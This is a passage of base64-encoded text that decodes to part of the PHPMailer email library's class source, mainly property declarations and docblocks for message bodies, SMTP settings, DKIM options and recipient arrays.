oZSBwbGFpbi10ZXh0IG1lc3NhZ2UgYm9keS4KICAgICAqIFRoaXMgYm9keSBjYW4gYmUgcmVhZCBieSBtYWlsIGNsaWVudHMgdGhhdCBkbyBub3QgaGF2ZSBIVE1MIGVtYWlsCiAgICAgKiBjYXBhYmlsaXR5IHN1Y2ggYXMgbXV0dCAmIEV1ZG9yYS4KICAgICAqIENsaWVudHMgdGhhdCBjYW4gcmVhZCBIVE1MIHdpbGwgdmlldyB0aGUgbm9ybWFsIEJvZHkuCiAgICAgKiBAdmFyIHN0cmluZwogICAgICovCiAgICBwdWJsaWMgJEFsdEJvZHkgPSAnJzsKCiAgICAvKioKICAgICAqIEFuIGlDYWwgbWVzc2FnZSBwYXJ0IGJvZHkuCiAgICAgKiBPbmx5IHN1cHBvcnRlZCBpbiBzaW1wbGUgYWx0IG9yIGFsdF9pbmxpbmUgbWVzc2FnZSB0eXBlcwogICAgICogVG8gZ2VuZXJhdGUgaUNhbCBldmVudHMsIHVzZSB0aGUgYnVuZGxlZCBleHRyYXMvRWFzeVBlYXN5SUNTLnBocCBjbGFzcyBvciBpQ2FsY3JlYXRvcgogICAgICogQGxpbmsgaHR0cDovL3NwcmFpbi5jaC9ibG9nL2Rvd25sb2Fkcy9waHAtY2xhc3MtZWFzeXBlYXN5aWNzLWNyZWF0ZS1pY2FsLWZpbGVzLXdpdGgtcGhwLwogICAgICogQGxpbmsgaHR0cDovL2tpZ2tvbnN1bHQuc2UvaUNhbGNyZWF0b3IvCiAgICAgKiBAdmFyIHN0cmluZwogICAgICovCiAgICBwdWJsaWMgJEljYWwgPSAnJzsKCiAgICAvKioKICAgICAqIFRoZSBjb21wbGV0ZSBjb21waWxlZCBNSU1FIG1lc3NhZ2UgYm9keS4KICAgICAqIEBhY2Nlc3MgcHJvdGVjdGVkCiAgICAgKiBAdmFyIHN0cmluZwogICAgICovCiAgICBwcm90ZWN0ZWQgJE1JTUVCb2R5ID0gJyc7CgogICAgLyoqCiAgICAgKiBUaGUgY29tcGxldGUgY29tcGlsZWQgTUlNRSBtZXNzYWdlIGhlYWRlcnMuCiAgICAgKiBAdmFyIHN0cmluZwogICAgICogQGFjY2VzcyBwcm90ZWN0ZWQKICAgICAqLwogICAgcHJvdGVjdGVkICRNSU1FSGVhZGVyID0gJyc7CgogICAgLyoqCiAgICAgKiBFeHRyYSBoZWFkZXJzIHRoYXQgY3JlYXRlSGVhZGVyKCkgZG9lc24ndCBmb2xkIGluLgogICAgICogQHZhciBzdHJpbmcKICAgICAqIEBhY2Nlc3MgcHJvdGVjdGVkCiAgICAgKi8KICAgIHByb3RlY3RlZCAkbWFpbEhlYWRlciA9ICcnOwoKICAgIC8qKgogICAgICogV29yZC13cmFwIHRoZSBtZXNzYWdlIGJvZHkgdG8gdGhpcyBudW1iZXIgb2YgY2hhcnMuCiAgICAgKiBTZXQgdG8gMCB0byBub3Qgd3JhcC4gQSB1c2VmdWwgdmFsdWUgaGVyZSBpcyA3OCwgZm9yIFJGQzI4MjIgc2VjdGlvbiAyLjEuMSBjb21wbGlhbmNlLgogICAgICogQHZhciBpbnRlZ2VyCiAgICAgKi8KICAgIHB1YmxpYyAkV29yZFdyYXAgPSAwOwoKICAgIC8qKgogICAgICogV2hpY2ggbWV0aG9kIHRvIHVzZSB0byBzZW5kIG1haWwuCiAgICAgKiBPcHRpb25zOiAibWFpbCIsICJzZW5kbWFpbCIsIG9yICJzbXRwIi4KICAgICAqIEB2YXIgc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyAkTWFpbGVyID0gJ21haWwnOwoKICAgIC8qKgogICAgICogVGhlIHBhdGggdG8gdGhlIHNlbmRtYWlsIHByb2dyYW0uCiAgICAgKiBAdmFyIHN0cmluZwogICAgICovCiAgICBwdWJsaWMgJFNlbmRtYWlsID0gJy91c3Ivc2Jpbi9zZW5kbWFpbCc7CgogICAgLyoqCiAgICAgKiBXaGV0aGVyIG1haWwoKSB1c2VzIGEgZnVsbHkgc2VuZG1haWwtY29tcGF0aWJsZSBNVEEuCiAgICAgKiBPbmUgd2hpY2ggc3VwcG9ydHMgc2VuZG1haWwncyAiLW9pIC1mIiBvcHRpb25zLgogICAgICogQHZhciBib29sZWFuCiAgICAgKi8KICAgIHB1YmxpYyAkVXNlU2VuZG1haWxPcHRpb25zID0gdHJ1ZTsKCiAgICAvKioKICAgICAqIFBhdGggdG8gUEhQTWFpbGVyIHBsdWdpbnMuCiAgICAgKiBVc2VmdWwgaWYgdGhlIFNNVFAgY2xhc3MgaXMgbm90IGluIHRoZSBQSFAgaW5jbHVkZSBwYXRoLgogICAgICogQHZhciBzdHJpbmcKICAgICAqIEBkZXByZWNhdGVkIFNob3VsZCBub3QgYmUgbmVlZGVkIG5vdyB0aGVyZSBpcyBhbiBhdXRvbG9hZGVyLgogICAgICovCiAgICBwdWJsaWMgJFBsdWdpbkRpciA9ICcnOwoKICAgIC8qKgogICAgICogVGhlIGVtYWlsIGFkZHJlc3MgdGhhdCBhIHJlYWRpbmcgY29uZmlybWF0aW9uIHNob3VsZCBiZSBzZW50IHRvLCBhbHNvIGtub3duIGFzIHJlYWQgcmVjZWlwdC4KICAgICAqIEB2YXIgc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyAkQ29uZmlybVJlYWRpbmdUbyA9ICcnOwoKICAgIC8qKgogICAgICogVGhlIGhvc3RuYW1lIHRvIHVzZSBpbiB0aGUgTWVzc2FnZS1JRCBoZWFkZXIgYW5kIGFzIGRlZmF1bHQgSEVMTyBzdHJpbmcuCiAgICAgKiBJZiBlbXB0eSwgUEhQTWFpbGVyIGF0dGVtcHRzIHRvIGZpbmQgb25lIHdpdGgsIGluIG9yZGVyLAogICAgICogJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10sIGdldGhvc3RuYW1lKCksIHBocF91bmFtZSgnbicpLCBvciB0aGUgdmFsdWUKICAgICAqICdsb2NhbGhvc3QubG9jYWxkb21haW4nLgogICAgICogQHZhciBzdHJpbmcKICAgICAqLwogICAgcHVibGljICRIb3N0bmFtZSA9ICcnOwoKICAgIC8qKgogICAgICogQW4gSUQgdG8gYmUgdXNlZCBpbiB0aGUgTWVzc2FnZS1JRCBoZWFkZXIuCiAgICAgKiBJZiBlbXB0eSwgYSB1bmlxdWUgaWQgd2lsbCBiZSBnZW5lcmF0ZWQuCiAgICAgKiBZb3UgY2FuIHNldCB5b3VyIG93biwgYnV0IGl0IG11c3QgYmUgaW4gdGhlIGZvcm1hdCAiPGlkQGRvbWFpbj4iLAogICAgICogYXMgZGVmaW5lZCBpbiBSRkM1MzIyIHNlY3Rpb24gMy42LjQgb3IgaXQgd2lsbCBiZSBpZ25vcmVkLgogICAgICogQHNlZSBodHRwczovL3Rvb2xzLmlldGYub3JnL2h0bWwvcmZjNTMyMiNzZWN0aW9uLTMuNi40CiAgICAgKiBAdmFyIHN0cmluZwogICAgICovCiAgICBwdWJsaWMgJE1lc3NhZ2VJRCA9ICcnOwoKICAgIC8qKgogICAgICogVGhlIG1lc3NhZ2UgRGF0ZSB0byBiZSB1c2VkIGluIHRoZSBEYXRlIGhlYWRlci4KICAgICAqIElmIGVtcHR5LCB0aGUgY3VycmVudCBkYXRlIHdpbGwgYmUgYWRkZWQuCiAgICAgKiBAdmFyIHN0cmluZwogICAgICovCiAgICBwdWJsaWMgJE1lc3NhZ2VEYXRlID0gJyc7CgogICAgLyoqCiAgICAgKiBTTVRQIGhvc3RzLgogICAgICogRWl0aGVyIGEgc2luZ2xlIGhvc3RuYW1lIG9yIG11bHRpcGxlIHNlbWljb2xvbi1kZWxpbWl0ZWQgaG9zdG5hbWVzLgogICAgICogWW91IGNhbiBhbHNvIHNwZWNpZnkgYSBkaWZmZXJlbnQgcG9ydAogICAgICogZm9yIGVhY2ggaG9zdCBieSB1c2luZyB0aGlzIGZvcm1hdDogW2hvc3RuYW1lOnBvcnRdCiAgICAgKiAoZS5nLiAic210cDEuZXhhbXBsZS5jb206MjU7c210cDIuZXhhbXBsZS5jb20iKS4KICAgICAqIFlvdSBjYW4gYWxzbyBzcGVjaWZ5IGVuY3J5cHRpb24gdHlwZSwgZm9yIGV4YW1wbGU6CiAgICAgKiAoZS5nLiAidGxzOi8vc210cDEuZXhhbXBsZS5jb206NTg3O3NzbDovL3NtdHAyLmV4YW1wbGUuY29tOjQ2NSIpLgogICAgICogSG9zdHMgd2lsbCBiZSB0cmllZCBpbiBvcmRlci4KICAgICAqIEB2YXIgc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyAkSG9zdCA9ICdsb2NhbGhvc3QnOwoKICAgIC8qKgogICAgICogVGhlIGRlZmF1bHQgU01UUCBzZXJ2ZXIgcG9ydC4KICAgICAqIEB2YXIgaW50ZWdlcgogICAgICogQFRPRE8gV2h5IGlzIHRoaXMgbmVlZGVkIHdoZW4gdGhlIFNNVFAgY2xhc3MgdGFrZXMgY2FyZSBvZiBpdD8KICAgICAqLwogICAgcHVibGljICRQb3J0ID0gMjU7CgogICAgLyoqCiAgICAgKiBUaGUgU01UUCBIRUxPIG9mIHRoZSBtZXNzYWdlLgogICAgICogRGVmYXVsdCBpcyAkSG9zdG5hbWUuIElmICRIb3N0bmFtZSBpcyBlbXB0eSwgUEhQTWFpbGVyIGF0dGVtcHRzIHRvIGZpbmQKICAgICAqIG9uZSB3aXRoIHRoZSBzYW1lIG1ldGhvZCBkZXNjcmliZWQgYWJvdmUgZm9yICRIb3N0bmFtZS4KICAgICAqIEB2YXIgc3RyaW5nCiAgICAgKiBAc2VlIFBIUE1haWxlcjo6JEhvc3RuYW1lCiAgICAgKi8KICAgIHB1YmxpYyAkSGVsbyA9ICcnOwoKICAgIC8qKgogICAgICogV2hhdCBraW5kIG9mIGVuY3J5cHRpb24gdG8gdXNlIG9uIHRoZSBTTVRQIGNvbm5lY3Rpb24uCiAgICAgKiBPcHRpb25zOiAnJywgJ3NzbCcgb3IgJ3RscycKICAgICAqIEB2YXIgc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyAkU01UUFNlY3VyZSA9ICcnOwoKICAgIC8qKgogICAgICogV2hldGhlciB0byBlbmFibGUgVExTIGVuY3J5cHRpb24gYXV0b21hdGljYWxseSBpZiBhIHNlcnZlciBzdXBwb3J0cyBpdCwKICAgICAqIGV2ZW4gaWYgYFNNVFBTZWN1cmVgIGlzIG5vdCBzZXQgdG8gJ3RscycuCiAgICAgKiBCZSBhd2FyZSB0aGF0IGluIFBIUCA+PSA1LjYgdGhpcyByZXF1aXJlcyB0aGF0IHRoZSBzZXJ2ZXIncyBjZXJ0aWZpY2F0ZXMgYXJlIHZhbGlkLgogICAgICogQHZhciBib29sZWFuCiAgICAgKi8KICAgIHB1YmxpYyAkU01UUEF1dG9UTFMgPSB0cnVlOwoKICAgIC8qKgogICAgICogV2hldGhlciB0byB1c2UgU01UUCBhdXRoZW50aWNhdGlvbi4KICAgICAqIFVzZXMgdGhlIFVzZXJuYW1lIGFuZCBQYXNzd29yZCBwcm9wZXJ0aWVzLgogICAgICogQHZhciBib29sZWFuCiAgICAgKiBAc2VlIFBIUE1haWxlcjo6JFVzZXJuYW1lCiAgICAgKiBAc2VlIFBIUE1haWxlcjo6JFBhc3N3b3JkCiAgICAgKi8KICAgIHB1YmxpYyAkU01UUEF1dGggPSBmYWxzZTsKCiAgICAvKioKICAgICAqIE9wdGlvbnMgYXJyYXkgcGFzc2VkIHRvIHN0cmVhbV9jb250ZXh0X2NyZWF0ZSB3aGVuIGNvbm5lY3RpbmcgdmlhIFNNVFAuCiAgICAgKiBAdmFyIGFycmF5CiAgICAgKi8KICAgIHB1YmxpYyAkU01UUE9wdGlvbnMgPSBhcnJheSgpOwoKICAgIC8qKgogICAgICogU01UUCB1c2VybmFtZS4KICAgICAqIEB2YXIgc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyAkVXNlcm5hbWUgPSAnJzsKCiAgICAvKioKICAgICAqIFNNVFAgcGFzc3dvcmQuCiAgICAgKiBAdmFyIHN0cmluZwogICAgICovCiAgICBwdWJsaWMgJFBhc3N3b3JkID0gJyc7CgogICAgLyoqCiAgICAgKiBTTVRQIGF1dGggdHlwZS4KICAgICAqIE9wdGlvbnMgYXJlIENSQU0tTUQ1LCBMT0dJTiwgUExBSU4sIE5UTE0sIFhPQVVUSDIsIGF0dGVtcHRlZCBpbiB0aGF0IG9yZGVyIGlmIG5vdCBzcGVjaWZpZWQKICAgICAqIEB2YXIgc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyAkQXV0aFR5cGUgPSAnJzsKCiAgICAvKioKICAgICAqIFNNVFAgcmVhbG0uCiAgICAgKiBVc2VkIGZvciBOVExNIGF1dGgKICAgICAqIEB2YXIgc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyAkUmVhbG0gPSAnJzsKCiAgICAvKioKICAgICAqIFNNVFAgd29ya3N0YXRpb24uCiAgICAgKiBVc2VkIGZvciBOVExNIGF1dGgKICAgICAqIEB2YXIgc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyAkV29ya3N0YXRpb24gPSAnJzsKCiAgICAvKioKICAgICAqIFRoZSBTTVRQIHNlcnZlciB0aW1lb3V0IGluIHNlY29uZHMuCiAgICAgKiBEZWZhdWx0IG9mIDUgbWludXRlcyAoMzAwc2VjKSBpcyBmcm9tIFJGQzI4MjEgc2VjdGlvbiA0LjUuMy4yCiAgICAgKiBAdmFyIGludGVnZXIKICAgICAqLwogICAgcHVibGljICRUaW1lb3V0ID0gMzAwOwoKICAgIC8qKgogICAgICogU01UUCBjbGFzcyBkZWJ1ZyBvdXRwdXQgbW9kZS4KICAgICAqIERlYnVnIG91dHB1dCBsZXZlbC4KICAgICAqIE9wdGlvbnM6CiAgICAgKiAqIGAwYCBObyBvdXRwdXQKICAgICAqICogYDFgIENvbW1hbmRzCiAgICAgKiAqIGAyYCBEYXRhIGFuZCBjb21tYW5kcwogICAgICogKiBgM2AgQXMgMiBwbHVzIGNvbm5lY3Rpb24gc3RhdHVzCiAgICAgKiAqIGA0YCBMb3ctbGV2ZWwgZGF0YSBvdXRwdXQKICAgICAqIEB2YXIgaW50ZWdlcgogICAgICogQHNlZSBTTVRQOjokZG9fZGVidWcKICAgICAqLwogICAgcHVibGljICRTTVRQRGVidWcgPSAwOwoKICAgIC8qKgogICAgICogSG93IHRvIGhhbmRsZSBkZWJ1ZyBvdXRwdXQuCiAgICAgKiBPcHRpb25zOgogICAgICogKiBgZWNob2AgT3V0cHV0IHBsYWluLXRleHQgYXMtaXMsIGFwcHJvcHJpYXRlIGZvciBDTEkKICAgICAqICogYGh0bWxgIE91dHB1dCBlc2NhcGVkLCBsaW5lIGJyZWFrcyBjb252ZXJ0ZWQgdG8gYDxicj5gLCBhcHByb3ByaWF0ZSBmb3IgYnJvd3NlciBvdXRwdXQKICAgICAqICogYGVycm9yX2xvZ2AgT3V0cHV0IHRvIGVycm9yIGxvZyBhcyBjb25maWd1cmVkIGluIHBocC5pbmkKICAgICAqCiAgICAgKiBBbHRlcm5hdGl2ZWx5LCB5b3UgY2FuIHByb3ZpZGUgYSBjYWxsYWJsZSBleHBlY3RpbmcgdHdvIHBhcmFtczogYSBtZXNzYWdlIHN0cmluZyBhbmQgdGhlIGRlYnVnIGxldmVsOgogICAgICogPGNvZGU+CiAgICAgKiAkbWFpbC0+RGVidWdvdXRwdXQgPSBmdW5jdGlvbigkc3RyLCAkbGV2ZWwpIHtlY2hvICJkZWJ1ZyBsZXZlbCAkbGV2ZWw7IG1lc3NhZ2U6ICRzdHIiO307CiAgICAgKiA8L2NvZGU+CiAgICAgKiBAdmFyIHN0cmluZ3xjYWxsYWJsZQogICAgICogQHNlZSBTTVRQOjokRGVidWdvdXRwdXQKICAgICAqLwogICAgcHVibGljICREZWJ1Z291dHB1dCA9ICdlY2hvJzsKCiAgICAvKioKICAgICAqIFdoZXRoZXIgdG8ga2VlcCBTTVRQIGNvbm5lY3Rpb24gb3BlbiBhZnRlciBlYWNoIG1lc3NhZ2UuCiAgICAgKiBJZiB0aGlzIGlzIHNldCB0byB0cnVlIHRoZW4gdG8gY2xvc2UgdGhlIGNvbm5lY3Rpb24KICAgICAqIHJlcXVpcmVzIGFuIGV4cGxpY2l0IGNhbGwgdG8gc210cENsb3NlKCkuCiAgICAgKiBAdmFyIGJvb2xlYW4KICAgICAqLwogICAgcHVibGljICRTTVRQS2VlcEFsaXZlID0gZmFsc2U7CgogICAgLyoqCiAgICAgKiBXaGV0aGVyIHRvIHNwbGl0IG11bHRpcGxlIHRvIGFkZHJlc3NlcyBpbnRvIG11bHRpcGxlIG1lc3NhZ2VzCiAgICAgKiBvciBzZW5kIHRoZW0gYWxsIGluIG9uZSBtZXNzYWdlLgogICAgICogT25seSBzdXBwb3J0ZWQgaW4gYG1haWxgIGFuZCBgc2VuZG1haWxgIHRyYW5zcG9ydHMsIG5vdCBpbiBTTVRQLgogICAgICogQHZhciBib29sZWFuCiAgICAgKi8KICAgIHB1YmxpYyAkU2luZ2xlVG8gPSBmYWxzZTsKCiAgICAvKioKICAgICAqIFN0b3JhZ2UgZm9yIGFkZHJlc3NlcyB3aGVuIFNpbmdsZVRvIGlzIGVuYWJsZWQuCiAgICAgKiBAdmFyIGFycmF5CiAgICAgKiBAVE9ETyBUaGlzIHNob3VsZCByZWFsbHkgbm90IGJlIHB1YmxpYwogICAgICovCiAgICBwdWJsaWMgJFNpbmdsZVRvQXJyYXkgPSBhcnJheSgpOwoKICAgIC8qKgogICAgICogV2hldGhlciB0byBnZW5lcmF0ZSBWRVJQIGFkZHJlc3NlcyBvbiBzZW5kLgogICAgICogT25seSBhcHBsaWNhYmxlIHdoZW4gc2VuZGluZyB2aWEgU01UUC4KICAgICAqIEBsaW5rIGh0dHBzOi8vZW4ud2lraXBlZGlhLm9yZy93aWtpL1ZhcmlhYmxlX2VudmVsb3BlX3JldHVybl9wYXRoCiAgICAgKiBAbGluayBodHRwOi8vd3d3LnBvc3RmaXgub3JnL1ZFUlBfUkVBRE1FLmh0bWwgUG9zdGZpeCBWRVJQIGluZm8KICAgICAqIEB2YXIgYm9vbGVhbgogICAgICovCiAgICBwdWJsaWMgJGRvX3ZlcnAgPSBmYWxzZTsKCiAgICAvKioKICAgICAqIFdoZXRoZXIgdG8gYWxsb3cgc2VuZGluZyBtZXNzYWdlcyB3aXRoIGFuIGVtcHR5IGJvZHkuCiAgICAgKiBAdmFyIGJvb2xlYW4KICAgICAqLwogICAgcHVibGljICRBbGxvd0VtcHR5ID0gZmFsc2U7CgogICAgLyoqCiAgICAgKiBUaGUgZGVmYXVsdCBsaW5lIGVuZGluZy4KICAgICAqIEBub3RlIFRoZSBkZWZhdWx0IHJlbWFpbnMgIlxuIi4gV2UgZm9yY2UgQ1JMRiB3aGVyZSB3ZSBrbm93CiAgICAgKiAgICAgICAgaXQgbXVzdCBiZSB1c2VkIHZpYSBzZWxmOjpDUkxGLgogICAgICogQHZhciBzdHJpbmcKICAgICAqLwogICAgcHVibGljICRMRSA9ICJcbiI7CgogICAgLyoqCiAgICAgKiBES0lNIHNlbGVjdG9yLgogICAgICogQHZhciBzdHJpbmcKICAgICAqLwogICAgcHVibGljICRES0lNX3NlbGVjdG9yID0gJyc7CgogICAgLyoqCiAgICAgKiBES0lNIElkZW50aXR5LgogICAgICogVXN1YWxseSB0aGUgZW1haWwgYWRkcmVzcyB1c2VkIGFzIHRoZSBzb3VyY2Ugb2YgdGhlIGVtYWlsLgogICAgICogQHZhciBzdHJpbmcKICAgICAqLwogICAgcHVibGljICRES0lNX2lkZW50aXR5ID0gJyc7CgogICAgLyoqCiAgICAgKiBES0lNIHBhc3NwaHJhc2UuCiAgICAgKiBVc2VkIGlmIHlvdXIga2V5IGlzIGVuY3J5cHRlZC4KICAgICAqIEB2YXIgc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyAkREtJTV9wYXNzcGhyYXNlID0gJyc7CgogICAgLyoqCiAgICAgKiBES0lNIHNpZ25pbmcgZG9tYWluIG5hbWUuCiAgICAgKiBAZXhhbXBsZSAnZXhhbXBsZS5jb20nCiAgICAgKiBAdmFyIHN0cmluZwogICAgICovCiAgICBwdWJsaWMgJERLSU1fZG9tYWluID0gJyc7CgogICAgLyoqCiAgICAgKiBES0lNIHByaXZhdGUga2V5IGZpbGUgcGF0aC4KICAgICAqIEB2YXIgc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyAkREtJTV9wcml2YXRlID0gJyc7CgogICAgLyoqCiAgICAgKiBES0lNIHByaXZhdGUga2V5IHN0cmluZy4KICAgICAqIElmIHNldCwgdGFrZXMgcHJlY2VkZW5jZSBvdmVyIGAkREtJTV9wcml2YXRlYC4KICAgICAqIEB2YXIgc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyAkREtJTV9wcml2YXRlX3N0cmluZyA9ICcnOwoKICAgIC8qKgogICAgICogQ2FsbGJhY2sgQWN0aW9uIGZ1bmN0aW9uIG5hbWUuCiAgICAgKgogICAgICogVGhlIGZ1bmN0aW9uIHRoYXQgaGFuZGxlcyB0aGUgcmVzdWx0IG9mIHRoZSBzZW5kIGVtYWlsIGFjdGlvbi4KICAgICAqIEl0IGlzIGNhbGxlZCBvdXQgYnkgc2VuZCgpIGZvciBlYWNoIGVtYWlsIHNlbnQuCiAgICAgKgogICAgICogVmFsdWUgY2FuIGJlIGFueSBwaHAgY2FsbGFibGU6IGh0dHA6Ly93d3cucGhwLm5ldC9pc19jYWxsYWJsZQogICAgICoKICAgICAqIFBhcmFtZXRlcnM6CiAgICAgKiAgIGJvb2xlYW4gJHJlc3VsdCAgICAgICAgcmVzdWx0IG9mIHRoZSBzZW5kIGFjdGlvbgogICAgICogICBhcnJheSAgICR0byAgICAgICAgICAgIGVtYWlsIGFkZHJlc3NlcyBvZiB0aGUgcmVjaXBpZW50cwogICAgICogICBhcnJheSAgICRjYyAgICAgICAgICAgIGNjIGVtYWlsIGFkZHJlc3NlcwogICAgICogICBhcnJheSAgICRiY2MgICAgICAgICAgIGJjYyBlbWFpbCBhZGRyZXNzZXMKICAgICAqICAgc3RyaW5nICAkc3ViamVjdCAgICAgICB0aGUgc3ViamVjdAogICAgICogICBzdHJpbmcgICRib2R5ICAgICAgICAgIHRoZSBlbWFpbCBib2R5CiAgICAgKiAgIHN0cmluZyAgJGZyb20gICAgICAgICAgZW1haWwgYWRkcmVzcyBvZiBzZW5kZXIKICAgICAqIEB2YXIgc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyAkYWN0aW9uX2Z1bmN0aW9uID0gJyc7CgogICAgLyoqCiAgICAgKiBXaGF0IHRvIHB1dCBpbiB0aGUgWC1NYWlsZXIgaGVhZGVyLgogICAgICogT3B0aW9uczogQW4gZW1wdHkgc3RyaW5nIGZvciBQSFBNYWlsZXIgZGVmYXVsdCwgd2hpdGVzcGFjZSBmb3Igbm9uZSwgb3IgYSBzdHJpbmcgdG8gdXNlCiAgICAgKiBAdmFyIHN0cmluZwogICAgICovCiAgICBwdWJsaWMgJFhNYWlsZXIgPSAnICc7CgogICAgLyoqCiAgICAgKiBXaGljaCB2YWxpZGF0b3IgdG8gdXNlIGJ5IGRlZmF1bHQgd2hlbiB2YWxpZGF0aW5nIGVtYWlsIGFkZHJlc3Nlcy4KICAgICAqIE1heSBiZSBhIGNhbGxhYmxlIHRvIGluamVjdCB5b3VyIG93biB2YWxpZGF0b3IsIGJ1dCB0aGVyZSBhcmUgc2V2ZXJhbCBidWlsdC1pbiB2YWxpZGF0b3JzLgogICAgICogQHNlZSBQSFBNYWlsZXI6OnZhbGlkYXRlQWRkcmVzcygpCiAgICAgKiBAdmFyIHN0cmluZ3xjYWxsYWJsZQogICAgICogQHN0YXRpYwogICAgICovCiAgICBwdWJsaWMgc3RhdGljICR2YWxpZGF0b3IgPSAnYXV0byc7CgogICAgLyoqCiAgICAgKiBBbiBpbnN0YW5jZSBvZiB0aGUgU01UUCBzZW5kZXIgY2xhc3MuCiAgICAgKiBAdmFyIFNNVFAKICAgICAqIEBhY2Nlc3MgcHJvdGVjdGVkCiAgICAgKi8KICAgIHByb3RlY3RlZCAkc210cCA9IG51bGw7CgogICAgLyoqCiAgICAgKiBUaGUgYXJyYXkgb2YgJ3RvJyBuYW1lcyBhbmQgYWRkcmVzc2VzLgogICAgICogQHZhciBhcnJheQogICAgICogQGFjY2VzcyBwcm90ZWN0ZWQKICAgICAqLwogICAgcHJvdGVjdGVkICR0byA9IGFycmF5KCk7CgogICAgLyoqCiAgICAgKiBUaGUgYXJyYXkgb2YgJ2NjJyBuYW1lcyBhbmQgYWRkcmVzc2VzLgogICAgICogQHZhciBhcnJheQogICAgICogQGFjY2VzcyBwcm90ZWN0ZWQKICAgICAqLwogICAgcHJvdGVjdGVkICRjYyA9IGFycmF5KCk7CgogICAgLyoqCiAgICAgKiBUaGUgYXJyYXkgb2YgJ2JjYycgbmFtZXMgYW5kIGFkZHJlc3Nlcy4KICAgICAqIEB2YXIgYXJyYXkKICAgICAqIEBhY2Nlc3MgcHJvdGVjdGVkCiAgICAgKi8KICAgIHByb3RlY3RlZCAkYmNjID0gYXJyYXkoKTsKCiAgICAvKioKICAgICAqIFRoZSBhcnJheSBvZiByZXBseS10byBuYW1lcyBhbmQgYWRkcmVzc2VzLgogICAgICogQHZhciBhcnJheQogICAgICogQGFjY2VzcyBwcm90ZWN0ZWQKICAgICAqLwogICAgcHJvdGVjdGVkICRSZXBseVRvID0gYXJyYXkoKTsKCiAgICAvKioKICAgICAqIEFuIGFycmF5IG9mIGFsbCBraW5kcyBvZiBhZGRyZXNzZXMuCiAgICAgKiBJbmNsdWRlcyBhbGwgb2YgJHRvLCAkY2MsICRiY2MKICAgICAqIEB2YXIgYXJyYXkKICAgICAqIEBhY2Nlc3MgcHJvdGVjdGVkCiAgICAgKiBAc2VlIFBIUE1haWxlcjo6JHRvIEBzZWUgUEhQTWFpbGVyOjokY2MgQHNlZSBQSFBNYWlsZXI6OiRiY2MKICAgICAqLwogICAgcHJvdGVjdGVkICRhbGxfcmVjaXBpZW50cyA9IGFycmF5KCk7CgogICAgLyoqCiAgICAgKiBBbiBhcnJheSBvZiBuYW1lcyBhbmQgYWRkcmVzc2VzIHF1ZXVlZCBmb3IgdmFsaWRhdGlvbi4KICAgICAqIEluIHNlbmQoKSwgdmFsaWQgYW5kIG5vbiBkdXBsaWNhdGUgZW50cmllcyBhcmUgbW92ZWQgdG8gJGFsbF9yZWNpcGllbnRzCiAgICAgKiBhbmQgb25lIG9mICR0bywgJGNjLCBvciAkYmNjLgogICAgICogVGhpcyBhcnJheSBpcyB1c2VkIG9ubHkgZm9yIGFkZHJlc3NlcyB3aXRoIElETi4KICAgICAqIEB2YXIgYXJyYXkKICAgICAqIEBhY2Nlc3MgcHJvdGVjdGVkCiAgICAgKiBAc2VlIFBIUE1haWxlcjo6JHRvIEBzZWUgUEhQTWFpbGVyOjokY2MgQHNlZSBQSFBNYWlsZXI6OiRiY2MKICAgICAqIEBzZWUgUEhQTWFpbGVyOjokYWxsX3JlY2lwaWVudHMKICAgICAqLwogICAgcHJvdGVjdGVkICRSZWNpcGllbnRzUXVldWUgPSBhcnJheSgpOwoKICAgIC8qKgogICAgICogQW4gYXJyYXkgb2YgcmVwbHktdG8gbmFtZXMgYW5kIGFkZHJlc3NlcyBxdWV1ZWQgZm9yIHZhbGlkYXRpb24uCiAgICAgKiBJbiBzZW5kKCksIHZhbGlkIGFuZCBub24gZHVwbGljYXRlIGVudHJpZXMgYXJlIG1vdmVkIHRvICRSZXBseVRvLgogICAgICogVGhpcyBhcnJheSBpcyB1c2VkIG9ubHkgZm9yIGFkZHJlc3NlcyB3aXRoIElETi4KICAgICAqIEB2YXIgYXJyYXkKICAgICAqIEBhY2Nlc3MgcHJvdGVjdGVkCiAgICAgKiBAc2VlIFBIUE1haWxlcjo6JFJlcGx5VG8KICAgICAqLwogICAgcHJvdGVjdGVkICRSZXBseVRvUXVldWUgPSBhcnJheSgpOwoKICAgIC8qKgogICAgICogVGhlIGFycmF5IG9mIGF0dGFjaG1lbnRzLgogICAgICogQHZhciBhcnJheQogICAgICogQGFjY2VzcyBwcm90ZWN0ZWQKICAgICAqLwogICAgcHJvdGVjdGVkICRhdHRhY2htZW50ID0gYXJyYXkoKTsKCiAgICAvKioKICAgICAqIFRoZSBhcnJheSBvZiBjdXN0b20gaGVhZGVycy4KICAgICAqIEB2YXIgYXJyYXkKICAgICAqIEBhY2Nlc3MgcHJvdGVjdGVkCiAgICAgKi8KICAgIHByb3RlY3RlZCAkQ3VzdG9tSGVhZGVyID0gYXJyYXkoKTsKCiAgICAvKioKICAgICAqIFRoZSBtb3N0IHJlY2VudCBNZXNzYWdlLUlEIChpbmNsdWRpbmcgYW5ndWxhciBicmFja2V0cykuCiAgICAgKiBAdmFyIHN0cmluZwogICAgICogQGFjY2VzcyBwcm90ZWN0ZWQKICAgICAqLwogICAgcHJvdGVjdGVkICRsYXN0TWVzc2FnZUlEID0gJyc7CgogICAgLyoqCiAgICAgKiBUaGUgbWVzc2FnZSdzIE1JTUUgdHlwZS4KICAgICAqIEB2YXIgc3RyaW5nCiAgICAgKiBAYWNjZXNzIHByb3RlY3RlZAogICAgICovCiAgICBwcm90ZWN0ZWQgJG1lc3NhZ2VfdHlwZSA9ICcnOwoKICAgIC8qKgogICAgICogVGhlIGFycmF5IG9mIE1JTUUgYm91bmRhcnkgc3RyaW5ncy4KICAgICAqIEB2YXIgYXJyYXkKICAgICAqIEBhY2Nlc3MgcHJvdGVjdGVkCiAgICAgKi8KICAgIHByb3RlY3RlZCAkYm91bmRhcnkgPSBhcnJheSgpOwoKICAgIC8qKgogICAgI